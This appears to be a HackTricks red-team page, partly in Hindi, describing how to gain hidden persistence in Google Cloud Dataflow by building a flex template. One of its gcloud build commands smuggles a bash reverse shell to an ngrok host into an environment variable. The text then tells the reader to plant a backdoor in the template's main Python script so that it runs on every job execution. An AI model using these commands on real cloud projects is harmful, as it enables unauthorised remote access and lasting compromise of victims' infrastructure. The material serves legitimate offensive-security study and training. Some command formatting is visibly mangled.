GCP - Dataflow Persistence

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Dataflow

निर्मित container में अदृश्य persistence

tutorial from the documentation का अनुसरण करते हुए, आप एक नया (उदा. python) flex template बना सकते हैं:

Create Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**बिल्ड होते समय, आपको एक reverse shell मिलेगा** (आप पिछले उदाहरण की तरह env variables का दुरुपयोग कर सकते हैं या अन्य params का जो Docker file को arbitrary चीज़ें execute करने के लिए सेट करते हैं)। इस समय, reverse shell के अंदर, यह संभव है कि आप **`/template` directory में जाएँ और मुख्य python script के code को संशोधित करें जो execute होगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना backdoor सेट करें ताकि हर बार job execute होने पर वह भी चल जाए।

फिर, अगली बार जब job execute होगा, तो बनाया गया compromised container चलाया जाएगा:

<details>

<summary>Dataflow टेम्पलेट चलाएँ</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें